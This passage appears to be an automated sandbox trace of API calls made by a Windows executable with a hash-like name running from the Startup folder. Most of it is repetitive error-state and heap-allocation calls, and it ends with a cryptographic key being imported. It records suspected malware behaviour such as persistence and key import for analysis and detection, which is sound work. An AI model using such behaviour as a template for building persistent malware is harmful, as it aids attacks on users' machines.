¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x45faf4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿç\x98îQ,þE", lpUsedDefaultChar=0x0) returned 256 [0132.699] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x115f728, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 0x81 [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.700] SetLastError (dwErrCode=0x0) [0132.700] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.701] SetLastError (dwErrCode=0x0) [0132.701] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.702] SetLastError (dwErrCode=0x0) [0132.702] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.703] SetLastError (dwErrCode=0x0) [0132.703] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.704] SetLastError (dwErrCode=0x0) [0132.704] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.705] SetLastError (dwErrCode=0x0) [0132.705] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.706] SetLastError (dwErrCode=0x0) [0132.706] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.707] GetLastError () returned 0x0 [0132.707] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.708] SetLastError (dwErrCode=0x0) [0132.708] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.709] SetLastError (dwErrCode=0x0) [0132.709] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.710] SetLastError (dwErrCode=0x0) [0132.710] GetLastError () returned 0x0 [0132.776] SetLastError (dwErrCode=0x0) [0132.776] GetLastError () returned 0x0 [0132.776] SetLastError (dwErrCode=0x0) [0132.776] GetLastError () returned 0x0 [0132.776] SetLastError (dwErrCode=0x0) [0132.776] GetLastError () returned 0x0 [0132.776] SetLastError (dwErrCode=0x0) [0132.776] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x8a) returned 0xba1a08 [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.777] GetLastError () returned 0x0 [0132.777] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.778] SetLastError (dwErrCode=0x0) [0132.778] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.779] SetLastError (dwErrCode=0x0) [0132.779] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.780] SetLastError (dwErrCode=0x0) [0132.780] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.781] GetLastError () returned 0x0 [0132.781] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.782] GetLastError () returned 0x0 [0132.782] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.783] SetLastError (dwErrCode=0x0) [0132.783] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.784] GetLastError () returned 0x0 [0132.784] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.785] GetLastError () returned 0x0 [0132.785] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.786] SetLastError (dwErrCode=0x0) [0132.786] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.787] SetLastError (dwErrCode=0x0) [0132.787] GetLastError () returned 0x0 [0132.788] SetLastError (dwErrCode=0x0) [0132.788] GetLastError () returned 0x0 [0132.788] SetLastError (dwErrCode=0x0) [0132.788] GetLastError () returned 0x0 [0132.788] SetLastError (dwErrCode=0x0) [0132.788] GetLastError () returned 0x0 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x9c) returned 0xba1aa0 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1f) returned 0xba1b48 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x2b) returned 0xba1b70 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x37) returned 0xba1ba8 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x3c) returned 0xba1be8 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x31) returned 0xba1c30 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x18) returned 0xba1c70 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x24) returned 0xba1c90 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x14) returned 0xba1cc0 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0xd) returned 0xba1ce0 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1a) returned 0xba1cf8 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x2e) returned 0xba1d20 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x19) returned 0xba1d58 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x17) returned 0xba1d80 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0xe) returned 0xba1da0 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0xce) returned 0xba1db8 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x3e) returned 0xba1e90 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1b) returned 0xba1ed8 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1d) returned 0xba1f00 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x48) returned 0xba1f28 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x12) returned 0xba1f78 [0132.788] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x18) returned 0xba1f98 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1b) returned 0xba1fb8 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x24) returned 0xba1fe8 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x29) returned 0xba2018 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1e) returned 0xba2050 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x6b) returned 0xba2078 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x17) returned 0xba20f0 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x14) returned 0xba2110 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0xf) returned 0xba2130 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x16) returned 0xba2148 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x2a) returned 0xba2168 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x29) returned 0xba21a0 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x16) returned 0xba21d8 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x13) returned 0xba21f8 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x1f) returned 0xba2218 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x12) returned 0xba2240 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x18) returned 0xba2260 [0132.789] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x46) returned 0xba2280 [0132.804] HeapFree (in: hHeap=0xba0000, dwFlags=0x0, lpMem=0xba11f8 | out: hHeap=0xba0000) returned 1 [0132.805] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0132.805] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x8, Size=0x80) returned 0xba11f8 [0132.805] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x11581f6) returned 0x0 [0132.806] RtlSizeHeap (HeapHandle=0xba0000, Flags=0x0, MemoryPointer=0xba11f8) returned 0x80 [0132.806] GetLastError () returned 0x0 [0132.806] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x30) returned 0xba1280 [0132.806] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x2d40) returned 0xba22d0 [0132.807] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x174) returned 0xba12b8 [0132.807] RtlAllocateHeap (HeapHandle=0xba0000, Flags=0x0, Size=0x10) returned 0xba1438 [0132.807] CryptAcquireContextW (in: phProv=0x115fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x115fcf0*=0x7551f0) returned 1 [0132.955] CryptImportKey (in: hProv=0x7551f0, pbData=0x45fd50*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x45fdb8 | out: phKey=0x45fdb8*=0x755198) returned 1 